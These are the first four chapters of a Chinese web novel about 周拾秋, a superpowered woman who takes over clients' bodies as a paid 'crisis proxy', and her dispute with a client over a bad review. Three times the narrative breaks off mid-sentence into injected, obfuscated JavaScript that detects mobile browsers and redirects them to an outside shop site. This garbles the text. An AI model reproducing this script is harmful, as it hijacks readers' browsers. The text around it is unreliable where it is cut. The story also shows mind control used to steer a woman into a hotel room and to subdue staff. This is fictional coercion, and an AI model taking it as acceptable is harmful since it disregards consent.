《她成了他的里人格》 1. 第001章 暖光照亮的卧室里,垃圾桶被撞翻倒地,撒落一地果皮,一碟空盘孤零零地站在书桌上,电脑屏幕里播放的电影被按下了暂停键,书桌旁的座椅则罢工一般躺倒在地。 周拾秋呆坐在床上,看着眼前好像很熟悉又好像很陌生的场景,努力思考着自己是不是失忆了。 手正摩挲着下巴,忽然手腕上一道红光吸引了她的注意力,周拾秋下意识抬起手腕,只见手环屏幕上正闪烁着危险的红光,一个警告框弹出,占据了整个屏幕。 随着闪烁的红光,警告框里的四个大字映照进周拾秋棕色的瞳孔中。 【任务失败!】 好陌生的词组。 放眼整个危代人生涯,这种情况她还算头一遭遇上。 她分明感觉这次任务完成得还算不错。 可为何委托人要给出任务失败的判定呢? 她挠着头想了许久也想不明白,缓缓将食指点在了警告框里的确认键上。 警告框随即消失,与此同时,一阵AI语音自手环中传出:“任务失败,委托人给予差评,账号暂时冻结,请等待客户经理介入调查。” 霎时间,周拾秋血气上涌,“账号冻结”四个字就像一道电击,刺激得周拾秋从床上一下蹦了起来。 “我去,那傻X还给我打差评!” 她此刻哪里还顾得上研究房间里有何异常,快步走到书桌旁,扶起座椅,关闭暂停中的播放窗口,点开了危机管理局的系统。 输入ID和密码登录后,系统立马弹出扎眼的提示窗: 【您的账号正处于冻结状态,暂时无法访问任务大厅和个人账户!】 周拾秋无奈地点进了危网论坛,可映入眼帘的置顶提醒,简直让她眼前一黑。 危网最上方如同喜迎庆典一般,用最醒目的文字轮番播报着: 【ID名为“乌鸦”的危代人,S级任务失败,因获差评而暂时冻结账户,待调查情况属实后,将实施封禁账号一年的处分,请各位危代人引以为戒。】 这无异于公开处刑。 危网里充斥着对这条消息的讨论。 其实危机管理局启动至今,也出现过不少被判定为任务失败的案例。究其原因,大抵是委托人对任务结果不甚满意,最终多以危代人账号被封禁收尾。 毕竟,委托人才是危机管理局的金主,实打实花钱养活整个平台的大财神,平台方不可能为了危代人这样的打工人而得罪金主。 不过,遭遇封禁处分的大多是通过任务大厅自由接取任务的危代人,他们能接取到的也都是A、B、C级任务,而发布这种任务的客户,大多奖金给的少,又挑剔。 S级任务就不一样了。 只有危机管理局的VIP客户,经筛选选定高等级危代人,并与危代人签署私人危代服务协议(简称“私危协议”)后,才可发布S级任务。 这样的任务其他危代人无法接取,而会通过配对的手环,直接发布给协议危代人进行应对。 至今,还没有人看到过S级任务失败的情况。 能签约私危协议的,那可都是高等级危代人。 正因如此,危网聊天室内议论纷纷。 【乌鸦?什么人?听都没听过,何德何能接取S级任务?】 【我查了一下,还是个新星等级的危代人,好家伙,怎么混上私危的?】 【淦,关系户吧!】 【哈哈哈,关系户一出任务就翻车了吗?】 【私危这口饭也不是什么阿猫阿狗都能吃的,以为自己是夜白鹭,天降紫微星?笑死。】 …… 危网中大多是幸灾乐祸的看客,看得周拾秋一肚子火。 她冲着电脑屏幕做了个鬼脸,然后气恼地关闭了聊天室,切到私信界面,在联系人中找到了与她签订了私危协议的VIP客户——ID名“木木”。 周拾秋忍气吞声地给对方发去消息。 【乌鸦:尊贵的客人,我想我们之间一定有什么误会。】 【乌鸦:如果您对我的处理方式有不满之处,可以先跟我沟通。】 【乌鸦:您能撤销差评吗?这个账号对我真的很重要。】 周拾秋感觉自己将一辈子的涵养全用在了今天,低声下气地祈求着对方宽宏大量。 虽然她到现在也没明白,自己究竟哪里做错了。 五秒钟过去了…… 一分钟过去了…… 三分钟过去了…… 十分钟过去了…… 周拾秋一直死盯着聊天界面,可屏幕上的消息始终显示“未读”。 自从跟这个叫木木的家伙签订了私危协议后,她几乎每天都会跟对方问好,可惜对方从来都是只读不回,如今直接看都不看了。 要不是零散的危代任务赚钱速度太慢,解决不了她的燃眉之急,她也不至于托关系与人签订私危协议。 可从签约起,她一连等了一周才接到第一个任务,结果第一个任务就被差评了。 周拾秋觉得自己跟这人一定八字不合。 很快,她的涵养就被等待的时间消磨殆尽了。 沉不住气的她,即刻原形毕露,化身键盘侠,在聊天界面输入了恶毒的文字,以此发泄着对客户的不满。 可惜,一顿发泄后,屏幕上只是多了更多未读消息。 就在周拾秋坐在电脑前骂骂咧咧时,门外传来一阵上楼的脚步声,步伐急促,不一会儿就到了门外。 房门猛然间被推开,同居室友齐绮顶着一头乱糟糟的头发冲进房中,一边喘着气,一边问道:“咋回事?我号咋被冻结了?” 齐绮卸了妆,圆润饱满的脸上戴着一副黑框眼镜,衣服上有两颗纽扣扣错了位置,一看就是匆匆赶回家里。 周拾秋厚着脸皮笑了笑,急忙拉着齐绮到床边坐下,并安慰一般递上一杯热水,“是啊,怎么突然就冻结了呢?你今晚不是在朋友家过夜吗?怎么知道账号被冻结的事?” 齐绮抬眼扫过电脑屏幕上的聊天界面,重重将水杯往床头柜上一放,叹气道:“账号绑定的是我的身份信息和手机号,瑞波恩科技的客服都给我打电话了,你猜我是怎么知道的呢?” 周拾秋正在使用的危代人账号,的确是齐绮的账号。 她也不是不想自己新建一个危代人账号,只是自五年前起,在危机管理局新建账号需要提供进化研究所的检验证明。 而周拾秋,不能去进化研究所。 后来为了赚钱,不得已,她只能借用了齐绮的危代人账号。 “所以,你到底做了什么,还能得罪客户?”齐绮双手交叉放在胸前,翘起二郎腿,摆出一副审讯的架势。 周拾秋愤愤不平道:“怎么能说得罪呢?我简直昧着良心替他做了他想做却不敢坐的事……” 就在大约半个小时前,周拾秋与许久未见的男友在家里共度二人时光。 房间里没开灯,只有电脑屏幕上的亮光照亮了桌前一隅。 男友坐在书桌前看电影,周拾秋则削了个苹果,切好去核装盘,然后体贴地送到男友面前。 男友 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528847|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伸手揽住她的腰,将她拉到大腿上坐下,还喂了块苹果到她嘴里。 男友的手不太老实,周拾秋有些反感,估计男友是饿久了,正犹豫着该不该做点好人好事,忽然手环上闪过一道白光。 明明一周都没有动静,委托人偏挑了个最不合时宜的时候发布了委托任务。 周拾秋只能简单嘱咐男友稍等,脑袋靠上男友的肩,在接受任务的瞬间,意识从身体逃离。 等周拾秋再睁开眼时,意识已经进入到委托人身体里,而此时她对面正坐着一个穿着优雅得体的卷发女人。 女人动作妩媚地将挡在胸口的头发拨到了肩后,纤细的手指抵着线条柔和的下颌,娇声说道:“我是白馨,你姐姐让我来找你,很高兴见到你。” 环顾四周,周拾秋基本可以确定,委托人此刻身处某家酒店的咖啡厅里。 委托人是个男人,手上戴着黑色的皮手套,脖子上围着围巾,一圈圈高耸起,挡住了大半张脸。 时值十一月,虽说有些冷,可也没到天寒地冻的地步,况且还在室内,这样一身打扮,着实有点与现实脱节的另类。 周拾秋见惯了有钱人的怪癖,因此不甚在意。 现在的情况,周拾秋以经验判断,大概率是在相亲。 她之所以做出这种判断,除了女人说的话外,其实还有一层原因。 介绍这个VIP客户给周拾秋的人,正是客户的外甥何洲。 何洲还是个大学生,经常在任务大厅发布追求女同学的任务,周拾秋来来回回接过好几次,合作的次数多了,二人自然成了熟人。 在听说周拾秋急需用钱后,何洲好心便给她介绍了私危金主,也就是他舅舅。 何洲给周拾秋的印象就是花心和好色,周拾秋觉得有什么样的外甥,自然有什么样的舅舅。 因此,她先入为主地断定,这个委托人是想让她帮忙追求相亲对象。 大晚上,选在酒店相亲,一看就没安什么好心。 周拾秋想到男友还在家里等自己,瞬间没了循序渐进的想法,二话不说,直视优雅女人的眼睛,动用了异能,影响了对方的意识,让对方瞬间爱上了委托人。 周拾秋“好人”做到底,带着女人到酒店前台开了一间房。 前台客服看她的眼神流露出些许困惑,好几次欲言又止。 开好房间后,周拾秋带着女人进了房间,然后让女人先去洗澡。 女人受异能影响,被眼前男人迷得七荤八素,不管周拾秋说什么,她都欣然接受。 趁着女人洗澡的间隙,周拾秋通过手环提交了任务完成的申请。 很快,委托人通过申请,周拾秋的意识重新回到了自己的身体,而委托人也将重拾身体控制权。 接下来的艳福,就让委托人亲自享用了。 “就算任务办得稍微潦草了些,可单看结果,怎么也不该判定我失败并给我差评吧?”周拾秋简单说明整个事件经过后,一脸不服气地总结道。 话刚说完,周拾秋的额头就挨了一巴掌。 “谁让你乱用……异能……”齐绮刚刚提高音量,忽又意识到说的内容不能被别人听到,忙用手捂住嘴,一个急转弯压低了声音。 周拾秋双手捂着额头,身子微微后仰,随时防备着齐绮的再度偷袭,嘴上委屈道:“郑常新在家里,我总不好离开太久吧……” 齐绮淡定地扫视一圈,两手一摊,问:“那他人呢?” 周拾秋恍然大悟,猛地从床上跳了起来,一脸惊讶地说:“对啊,他人呢?” 2. 第002章 周拾秋醒来只觉得房间里的状态与她意识转移前有些不一样,比如垃圾桶倒了,桌上刚切好的水果也被吃光了,桌旁的座椅翻了,明明应该坐在座椅上的她躺在了床上。 然而还有一个最大的改变,她始终没能想起,就是她的男友郑常新不在房间里。 这次委托任务因为她用了异能走捷径,所以耗时并不长,从她意识离开身体,到意识回到身体,全程不超过十分钟。 这十分钟内究竟发生了什么事,她一时有些不明白。 意识到男友不在房中的周拾秋总算起身寻找起来。 她俯下身子往床底瞧了瞧,又转到书桌旁往桌下探了探,随后走出寝室,将客厅、厨房、卫生间挨个巡了一遍,甚至连冰箱她都打开看了。 哪里也不见男友的身影。 周拾秋还不死心,下了楼到花店里转了一圈,依然一无所获。 最终在确定男友已经离开后,周拾秋一脸茫然地回到房间,无力地躺在床上,嘴里嘀咕道:“都让他稍等了,怎么十分钟都等不了……” 倒还知道吃光苹果…… 座椅和垃圾桶大概也是他的手笔吧…… 周拾秋心中一番思忖,忽然觉得刚才奇怪的地方都变得合理起来。 “呵,他等你可不止十分钟,你想想你们交往半年,除了第一个月偶尔出去吃顿饭,最近五个月,你们约会过一次吗?”齐绮扶了扶眼镜,格外冷静地分析着。 “那也没办法啊,五百万,半年就得还完,我哪有时间陪他?”周拾秋说得理直气壮。 大约半年前,周拾秋的养父生意失败,欠下七百万巨债,一时想不通跳了楼。 幸运的是,人没死。 不幸的是,下肢瘫痪了。 从此,养父没了营生的手段,连生活自理都成了问题,这债务一下子落在了全家人头上。 养母以前是全职家庭主妇,如今不得不外出谋生。 他们一家人变卖了房子和车子,东拼西凑,暂且还上了两百万,至于剩下的五百外,债主要求他们在半年内还清。 后来养母带着一家人在偏远城区租了一间两室一厅的廉价小公寓,又开了一间小面馆,虽然勉强能够度日,可根本无法在约定的期限内还清剩余债务。 那时,周拾秋大学刚毕业不久,与大学好友齐绮在城里租了间复式楼小商铺,楼上住家,楼下开花店,二人都从家里搬了出去,开始了独立生活。 周拾秋下面还有个弟弟,今年二十,大学还没毕业。 为了不让弟弟辍学打工,周拾秋毅然揽下了五百万债务。 而最快的赚钱手段,就是成为危代人。 过去五个月,周拾秋利用经营花店的闲暇时间,借用齐绮的危代人账号,在危机管理局的任务大厅接取任何她可以接取的任务,总算偿还了三百万。 可按照这个速度,要在剩下的一个月内赚够两百万,属实太艰难。 因此,在何洲的牵线下,周拾秋顶着齐绮的身份,与何洲的舅舅签订了私危协议。 至于周拾秋这位男友,说起来真是不凑巧,二人刚确立关系一个月,周拾秋的家里就出了这档子事,她是真的没有精力在意这位男友。 如果不是委托人一周都不发布任何任务,周拾秋估计今晚也没空搭理男友。 “你一心扑在危代委托上,他如果不是偶尔到花店露个脸,你怕是连自己有个男友都忘了吧。”齐绮半开着玩笑说道。 齐绮的玩笑话却戳中了周拾秋的心事。 这五个月她是当真快忘记郑常新的存在。 要不是昨天齐绮提了一嘴,说她已经很久没搭理过郑常新了,她大概也不会趁着没有委托的空档,将郑常新喊到家中。 “他应该是生气了吧?”周拾秋有些心虚地开口,“会不会觉得我这样的女朋友很奇怪?五个月不跟他联系,好不容易约个会,却因为委托又突然把他晾在一边……” 齐绮看出周拾秋心中真正害怕的是什么,脸上带着温暖的笑,伸手揽住周拾秋的肩膀,一边轻拍着,一边安慰道:“不奇怪,也可能你本来就不怎么喜欢他,不是吗?” “你这么说,我好像更不正常好吗?”周拾秋有些被气笑。 齐绮爽朗地大笑起来:“你真的确定自己喜欢郑常新吗?” “应该是吧。” 对齐绮,周拾秋并没有刻意掩饰。 她的确分不清自己的感情,因为,她并不是普通人,而是进化者。 这世间存在着一种特殊人类,他们自出生起就拥有超凡的异能,被称为进化者。 在进化者刚出现的那段时间,他们曾是世人眼中的香饽饽,谁都希望自己成为与众不同的新人类。 然而随着时间更迭,世人发现进化者普遍存在或多或少的缺陷,他们大多没有同理心,要么人格缺陷,要么情感缺失,甚至还可能有奇怪的偏执。 研究表明,进化者发展成犯罪者的几率比普通人高出百倍。 因此,世人皆说,进化者拥有犯罪基因。 一时间,曾经的香饽饽成了过街老鼠。 周拾秋对于感情的认知很模糊,从小到大,她只是努力模仿着周围人的样子,让自己看上去和普通人一样,拥有正常人该有的感情。 所以,当郑常新跟她表白时,她一口就答应了。 只是因为答应这个选项,能让她看上去更加普通。 至于喜欢,她不知道。 齐绮曾告诉她,喜欢能让人开心。 她记得与郑常新第一次见面时,郑常新到店里来买花,并且将买到的花束直接送给了她,并问她是否能做他女朋友。 那是周拾秋第一次收到花束,她觉得当时是开心的,所以应该是喜欢的吧。 “我干嘛要问你这种复杂的问题……”齐绮突然开口打断了周拾秋的思绪,她弯曲着食指敲了敲周拾秋手里的手机,“你直接打个电话问问郑常新呗,如果他真生气了,你就好好解释一下。” 周拾秋点点头,觉得齐绮说得很对。 一通电话拨了出去,周拾秋开着免提,手机里传来一阵阵响声。 “嘟——嘟——” 响了许久也没人接听。 掐断电话后,周拾秋苦笑着对齐绮说:“呵呵,大概真的生气了。” “算了,等找机会再解释清楚吧,现在最麻烦的是如何搞定这个差评。” 齐绮抬眼朝电脑屏幕方向望去,如今的情况让她有些头疼。 她知道这个账号对周拾秋的重要性,如果账号真的被封禁,周拾秋便没法及时凑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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危机管理局通过危代任务的发布与接取,将委托人与危代人进行意识绑定。 危代人的意识会转移至委托人身体内,代替委托人承受所有负面情绪,或应对生活危机,俗称里人格启动。 与此同时,委托人的意识会被系统传入虚拟度假村,享受极致奢华的悠闲度假时光,直至危代人完成委托任务。 齐绮带着周拾秋下了楼,开门就看见一辆高档车停在门口。 一个朝气十足的男青年从驾驶座走出,脸上带着和煦的笑容,向着齐绮和周拾秋打招呼。 这人正是瑞波恩科技的专属客户经理023,大学刚毕业,年纪与周拾秋二人相仿,说话挺随和,对于要去造访委托人,心中同样很忐忑。 齐绮以自己一个女孩子独自前往自由区会害怕为由,强行戴上了周拾秋。 023没有表示异议,招呼二人上了车。 去往自由区的途中,023简单向齐绮介绍了当前情况。 委托人昨晚已经脱离了生命危险,苏醒后便转移回家中休养,他们三人将直接登门拜访,力图顺利解决此次任务纠纷。 “委托人是不是不太好说话?”齐绮谨慎打探道。 023一边开着车,一边从车内后视镜偷瞄着后座上的两个女孩子,笑容有些苦涩。 “听说庾先生好像厌女,当初签约还特别强调接洽工作只能交给男性客户经理,所以啊,等会儿见面,你们多忍忍,毕竟客户是上帝嘛。” 周拾秋微微挑了挑眉,感觉这话有些刺耳,对委托人的印象又坏上几分。 3. 第003章 当仿生科技渗透进人类的生活,有人甘之如饴,也有人食之无味,新旧观念的冲突与日俱增,最终于L372年爆发了混战,俗称“飓风之夜”。 经历了长达一年的恶斗后,仿生科技的支持派与反对派最终达成协议。 L373年10月16日,世界迎来了觉醒之日,关于多元和谐共处的法律法规出台,结束了这场世界级的骚乱,整个世界正式进入分割并行的新时代。 世上所有城市都被划分成了自由区与禁仿区两个独立区域,一般情况下,两个区域的居民互不往来。 当初的支持派便是如今的理想者,而反对派则是守旧者。 这样的格局持续了一百多年,一直到现在的L463年。 如今,瑞波恩科技就仿佛是连接这两个城区居民的纽带,利用危机管理局将住在自由区的理想者和住在禁仿区的守旧者联系到了一起。 危机管理局的委托人几乎都是有钱的理想者,而危代人多是贫穷的守旧者。 两个城区的居民有何区别? 区别仅仅是生活方式。 自由区的居民生活中充斥着仿生科技,而在禁仿区,你找不到任何一点与仿生科技相关的事物。 此刻,周拾秋和齐绮正坐在瑞波恩的专属客户经理023的车上,从禁仿区缓缓驶向自由区。 在她们眼前,耸立着将城市一分为二的高墙,她们正在通过高墙隧道,隧道的出入口把守着士兵,但凡经过此处的人,都必须经过盘问与登记。 这个世界的统治者可不希望再发生一次如飓风之夜那样的混战。 军方并不负责排查进化者,所以周拾秋并不担心,很快023的车子就通过盘查,经隧道驶入了自由区。 这还是周拾秋第一次来到自由区。 车子一离开隧道,她就仿佛来到了一个完全不同的世界。 这里高楼林立,更具科技感与艺术感,却给人一种冰冷的气息,不似禁仿区那般充满生活气息。 街上行人的穿着一看就比禁仿区更讲究,雅致是雅致,就是颜色太过低调,看多了难免觉得沉闷。 在这样沉闷又透出些许冷漠的理想者中,总能看到几个样貌与寻常人一般无二,可瞳孔明显与众不同的身影,他们的虹膜成螺旋状,并泛着淡蓝色的光泽。 023告诉二人,那些都是仿生人,属于自由区的特色。 这些仿生人很自然地融入理想者的生活,但与普通理想者不同,他们其实更像是一种商品,就跟家中的电器一样,属于私人财产。 汽车一路行驶,最终停靠在一家名为“天宫”的酒店门前,023带着两人走进了酒店大堂。 这间酒店看上去十分气派,高约60层,不管是外部装修,还是内部陈设,全都给人一种高端贵气的感觉。 齐绮挽着周拾秋的手,感觉自己的穿着与这个地方有些格格不入,小声问023:“不是说去委托人家里吗?怎么到酒店来了?” 023无奈一笑,说:“怎么说呢,委托人的联系地址就在这儿。” 周拾秋总觉得这家酒店看着有些眼熟,直到随023走到前台,她猛然想起昨晚来过这里。 这家酒店正是昨日委托人相亲的场地,当时她还到前台替二人开了一间房。 原来委托人就住在这间酒店里,难怪会将相亲对象约到这家酒店的咖啡厅。 周拾秋顿感手足无措,担心是不是自己误会了什么。 可转念一想,正常人怎么会把酒店当家呢? 023向前台交代了想要访问的客人,前台似乎提前收到了嘱托,立马有工作人员为三人引路。 工作人员带着三人穿过大堂,进入了仅供贵宾使用的电梯间,其中一部电梯直达顶层。 而他们要前往的地点,就是位于顶层的贵宾套房。 在电梯内,可以通过外侧的整面玻璃欣赏自由区街景,特别随着楼层攀升,视野逐渐开阔,有种将城市尽收眼底的感觉,甚至可以越过高墙,看到远处熟悉的禁仿区。 电梯停在了60层,这一层只有两间房,工作人员将三人领到了套房60A的门前,随即道别离开。 023深吸一口气,按下了60A的门铃,周拾秋与齐绮笔直地站在023身后,心中预演着见到委托人的第一句台词。 几秒钟后,房门开启,一个穿戴整洁、面容和善的中年大叔出现在门后。 周拾秋下意识地想要对男人鞠躬道歉,可视线撞上了中年大叔的瞳孔。 螺旋状的虹膜,淡蓝色的光泽。 很明显,眼前的男人并不是委托人,甚至不是人,而是仿生人。 023客气地招呼道:“康管家吗?你好,我是瑞波恩科技的员工,庾先生的专属客户经理。” 康管家微微颔首,侧身让到一旁,伸手将门外的客人请进屋里。 房子里收拾得格外整洁,一看就出自这个仿生人管家之手,与他整个人给人的感觉一样,干净、利落。 客厅里坐着一个年轻男子,看样子不比周拾秋年长多少,见有人进门,显得有些拘谨,客气地起身冲三人点头致意。 显然,此人也不是何洲的舅舅。 “我还有客人,你先回去吧,卓女士的订单本就不归我负责,你让设计师自己跟进就好。” 不知从哪里传来一阵不近人情的男子说话声,那声音有些低沉,周拾秋感觉在哪里听到过。 客厅里那名年轻男子闻言,立刻坐回沙发上,冲着茶几的方向苦苦哀求道:“别啊总监,卓女士坚持要您亲自替她设计,我们怎么说她都不满意,每天都打电话投诉,您就答应吧,否则以卓女士的性格,一定闹个没完。” “我不喜欢替人善后。” 那声音依然毫无温度,仿佛不允许对方反驳。 顺着年轻男子的视线望去,周拾秋在茶几上看到了一部正在通话中的手机,而那个低沉的声音正是从手机里传出的。 “请问,庾先生不在家吗?”周拾秋悄声问康管家。 康管家微微一笑,视线扫向了远处一道房门,嘴上说道:“在的,只是庾先生不方便见客。” 周拾秋惊呆了,偷偷与齐绮进行着眼神交流。 她万万没想到,委托人同意她们上门拜访,却躲在房间里不见客,只通过电话接待访客。 理想者都这么傲慢吗? 这个委托人给周拾秋的印象正在不断恶化中。 “总监……要不您再考虑一下?” 客厅里,可怜的下属锲而不舍,奈何电话对面的男人不留一点情面,直接让康管家送客。 年轻男子愁眉苦脸,却又万般无奈地起身离开了。 康管家送完客,回到客厅招呼三人在沙发上落座,然后告诉电话那头:“庾先生,瑞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14528849|155166||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波恩科技的客户经理和危代人小姐到了。” “嗯。”电话那头传来一声冷淡的回应,“说吧,找我什么事。” 周拾秋用手指偷偷戳了戳齐绮,示意她尝试沟通。 齐绮立刻会意,抢在023开口前,向着手机真诚地解释道:“庾先生您好,我是危代人乌鸦,关于昨晚的委托,我想其中一定有什么误会。如果你方便告诉我具体问题所在,我一定尽力弥补。” 客套的话说完后,房间内陷入一阵怪异的沉默,电话那头迟迟没有回应,就好像打电话的人无意中睡着了。 气氛有些焦灼,周拾秋、齐绮和023都焦躁地等待着,目光不约而同地汇聚到站在一旁的康管家身上,眼神中充满疑惑。 康管家始终一副气定神闲的模样,冲三人点头微笑,似乎这样的沉默在他看来并无不寻常之处。 过了许久,电话那头果然传来了回应,声音中带着一丝质疑,内容却与众人的期待不符。 “你是乌鸦?” 没人知道委托人为何要这么问,齐绮茫然地应了声:“是啊……” 又是一阵莫名其妙的沉默。 片刻后,委托人冷冰冰地回应道:“不方便,差评我不会撤销,你们离开吧。” 齐绮有些无语,而周拾秋此时又不好开口。 023站在公司利益的角度劝道:“对于本公司危代人给您造成的困扰,我们万分抱歉,希望能竭尽全力弥补您的损失……” “我不需要赔偿,解约就好。”电话那头语气强硬地打断了023的话。 023抬手抹去额头汗水,对着手机方向点头哈腰道:“您的心情我们能理解,既然如此,是否需要我们为您更换一位协议危代人呢?” “不需要。” 依然是没有人情味的回答。 听到话题走向,周拾秋实在忍不住,插嘴道:“解约不解约是你的事,但你随便一个差评会影响危代人今后的工作,庾先生能不能……” “嗯?你又是?” 对面又粗暴地打断了周拾秋的话,周拾秋攥紧了拳头,强行止住险些破口而出的脏话。 023立马正襟危坐,回答:“这位是危代人的朋友,因为不放心,所以跟随一起来了。” 电话那头传来一声冷哼,然后语气怪异地回了句:“原来如此。” “庾先生,请问你能撤销差评吗?”周拾秋耐着性子重复了一遍问题。 “乌鸦小姐没有完成我的委托,我的评价与实际情况相符。昨天的情况,康管家应该已经代为转告,在事实这点上,我相信瑞波恩没有异议。” 委托人的话听上去有点咄咄逼人的味道,试图用让人无法反驳的思路终止这场协商。 果然,在委托人说出这句话后,023的态度变得消极,言语更偏向自保,而非为危代人说情。 “嗯,错肯定在危代人,对此瑞波恩科技一定严肃处理,呵呵,希望这件事不会影响庾先生对于本公司的信任。” “行了,我们应该没什么好聊了,康管家,送客。” 话音刚落,不等客厅里的人回应,手机屏幕便显示电话被挂断了。 康管家客气地示意客人离开,023无奈地站起了身。 周拾秋知道,好言相劝这条路已经行不通了,金色的波纹在瞳孔中流转,随着她的视线倾泻而出,并迅速冲向猎物。 4. 第004章 客厅里,客户经理023和康管家的动作停顿下来,眼神变得呆滞,如同失去了灵魂的木偶,呆呆地停在了原地。 齐绮紧张地看着房间里的情况,小声地对周拾秋说:“大姐,你硬来啊?” “你瞧他的态度,我不用点手段,连个解释的机会都没有。” 周拾秋从沙发上站起身,双手抱拳,将指关节挤压得咔咔作响。 她绝不愿意接受这样的结果,那无疑于堵死了她唯一的生路,带着不甘的情绪,周拾秋一步步逼近委托人所在的房间。 见周拾秋心意已决,齐绮也不再劝阻,无奈地摇了摇头。 “你可别落下把柄!” 简单叮嘱一句,齐绮便绕开失去意识的康管家和023,开门走出了房间。 齐绮可不希望这个时候恰好来个人,进门就发现周拾秋是进化者,只得守在套房60A外,戒备着,不让任何人靠近。 通往卧室的房门紧闭着,周拾秋客气地敲了两声门。 门内隐约传来男子略显疲惫的声音:“康管家,中午别叫我,我想多睡会儿。” 周拾秋对着门缝和颜悦色地询问:“庾先生,要不我们再聊聊,昨晚我朋友到底哪里做得令你不满意呢?” 房间里的人愣了两秒,随后提高音量道:“你们还没走?康管家……” “庾先生!”周拾秋不由得出声打断,突然爆发的声音彻底掩盖了房间里传出的朦胧声音,“康管家也认为你有必要给危代人一个解除误会的机会。” 说话间,面前的房门缓缓挪开一道缝,还没有周拾秋的手掌宽。 卧室里很暗,与客厅里的明亮形成鲜明对比。 漏进门缝里的光,照亮了门后男人的小半张脸。 一只眼睛正透过那道缝,以居高临下的姿态俯视着周拾秋。 莫名的压迫感让周拾秋往后退了一步,仰着头,盯着那只目光灼灼的眼睛,咽了咽口水。 “聊什么?”男人声音不甚友善。 “嗯……聊……庾木木先生的委托……不是想追求相亲对象吗?” 门后的视线让周拾秋莫名感觉一阵心慌,她手指纠缠在一起,连说话都变得吞吞吐吐起来。 “庾林。” 男人的回答只有简单两个字,语气中透着一丝不耐烦。 “啊?”周拾秋一脸茫然。 “名字。”男人提醒。 周拾秋这才恍然大悟,原来男人是在告诉她,他不叫庾木木,而叫庾林。 可这重要吗? 周拾秋心中一阵无语,那一瞬间,她似乎感觉到了理想者与守旧者的脑回路差距,不由得加深了对理想者的刻板印象。 “呵,庾林先生你好,我叫周拾秋。”她只能顺着男人的话,莫名其妙地自我介绍起来。 “我知道。”庾林倏地冷哼一声,“乌鸦小姐凭什么认为我昨晚是在相亲?” 周拾秋刚觉得庾林的回应说不出来的怪异,可还没想清,又被一顿追问,连忙解释:“那个,那位女士说是你姐姐介绍来的,你们又约在酒店,所以……” “不知道你就不会……” 庾林刚想训斥眼前的小姑娘不懂变通,不知道要干嘛,也不先发条消息问问,就胡乱推理,突然又觉得争论这些会没完没了,于是果断闭了嘴。 “算了,就这样吧,我也不需要你的道歉。”庾林口风一转,试图结束对话。 庾林想关门,周拾秋眼疾手快,一只脚伸进门缝里,一只手撑住了门板。 “又干嘛?”庾林眉头紧皱,身子下意识地藏到了门后。 两人仿佛陷入了一种僵持状态,里面的人绝不让门再挪开一寸,外面的人绝不让门再关上一分。 “别、别急!就这样是什么意思?你能撤销差评吗?”周拾秋一边往里推着门,一边焦急地询问。 “你把脚收回去。” 庾林没敢太用力,一边对抗着周拾秋的推力,一边又要控制自己的力道,避免屋外的小姑娘不会因此跟他碰瓷。 “你别关门啊,你要关门我哪儿敢收回来啊。”周拾秋无奈地讨价还价。 “你别推门。”庾林命令。 周拾秋闻言一点一点放松下来,嘴里嘟囔着:“我推门是怕你夹我脚呀……” 最终,两人手上都卸了力,可谁都留了个心眼,周拾秋的脚依然卡在门缝里,而庾林的脚则挡在门后,勉强维持着门缝的大小。 庾林重重叹了口气,心中对守旧者的印象有了更新——死缠烂打的固执。 “差评我不会撤销,算是给你的教训。”庾林语气冰冷地回应。 “教训?”周拾秋机械地重复着这两个字。 轻飘飘的两个字,就这么脱口而出,落在周拾秋心上,却如同一块巨石。 只是一个教训,就要彻底堵死她最后一条生路。 他明明可以有许多惩罚她的办法,可他偏偏选了一条对她来说最不能接受的选项。 脑子里仿佛断了一根弦,无论庾林再说什么,她都听不到了。 那两个字在脑袋里疯狂撞击着她的理智,让她一时愣在原地。 “因为是小洲介绍的朋友,我并未注意到危代人是位女生,既然不符合预期,我会联系瑞波恩解除与齐绮小姐的私危协议。个人感觉,乌鸦小姐并不适合做危代人,希望这个教训能让你重新审视自身能力。” 庾林站在黑暗中,慢悠悠地说着自己的观点。 然而他并没有发现,周拾秋默不作声地将脚从门缝里收回,棕色的瞳孔中,无数金色的波纹在流转,并缓缓渗透而出,爬上了门板。 庾林感觉外面的推力猛然间增大,甚至毫无还手之力,就被这股推力推得后退三步,而房门砰的一声撞上了门吸。 厚重的床帘被拉上,彻底遮挡了窗外的阳光,房间里没开灯,看上去格外昏暗。 床上的被子翻卷着一角,枕头立靠在床头,从床单的褶皱和躺在一旁的手机可依稀看出,庾林曾坐在那里与屋外的人通电话。 此刻庾林穿着深色睡袍,两侧衣襟交叠,被一根腰带松散地系在腰间,胸口露出一个V字开口,依稀可以看见结实的胸肌和诱人的锁骨。 他正一脸震惊地盯着门口的周拾秋,实在难以相信,一个小姑娘能有如此力气。 周拾秋双手垂在身侧,背着光,缓缓走进房中。 她的每一步靠近都要庾林心头一颤,就在她抬手抓向庾林时,庾林闪身冲到了床边。 周拾秋愣了一下,总觉得有些奇怪,心想:理想者都有什么洁癖吗?怎么躲我跟躲怪物一样。 带着疑惑,周拾秋她看了看双手 